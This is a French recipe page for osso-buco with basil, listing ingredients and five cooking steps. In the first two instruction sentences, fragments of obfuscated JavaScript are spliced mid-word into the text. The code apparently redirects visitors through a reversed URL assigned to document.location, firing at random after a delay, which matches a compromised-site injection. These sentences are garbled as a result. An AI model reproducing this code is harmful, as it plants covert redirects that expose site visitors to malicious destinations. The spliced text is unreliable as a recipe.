Osso-buco au basilic
2017-12-20Coupez en cubes le jarret de veau. Dans un récipient mélangez tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tous les Ingrédients pour la macération.
Plongez les cubes de viandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande et faites mariner pendant 30 minutes.
Ingrédients
- Pour 4 personnes
- 1,2 kg de jarret de veau
- 8 tomates
- 2 oignons
- 4 cuillères à soupe de miel
- 2 cuillères à soupe de basilic haché
- 1 petite boite de concentré de tomate
- 25 cl de vin blanc
- 15 cl de bouillon de volaille
- 100 g de beurre ramolli
- Sel - Poivre
- La macération :
- 4 cuillères à soupe d'huile d'arachide
- 4 cuillères à soupe de baies de genièvre en poudre
- 2 cuillères à soupe de miel liquide d'acacia
- 1 cuillère à soupe de persil haché
- Poivre les 4 baies
- Sel
Préparation de la recette
Etape 1
Coupez en cubes le jarret de veau. Dans un récipient mélangez tous les Ingrédients pour la macération.
Etape 2
Plongez les cubes de viande et faites mariner pendant 30 minutes. Filmez, et placez au réfrigérateur. Égouttez la viande de veau. Pelez, hachez les oignons. Rincez, séchez, coupez en 4 les tomates.
Etape 3
Dans une cocotte avec 50 g de beurre et 1 cuillère à soupe d'huile d'arachide sur feu vif, faites revenir la viande, salez, poivrez, mouillez avec le bouillon de volaille et le vin blanc. Portez à ébullition et incorporez les oignons, le concentré de tomate, les tomates, le basilic, salez, poivrez.
Etape 4
Couvrez et laissez mijoter pendant 1 heure. Pendant ce temps mélangez le miel avec le reste de beurre et de basilic.
Etape 5
Présentez l'osso-buco dans un plat de service. Nappez de miel / beurre / Servez accompagner de pommes de terre vapeur.
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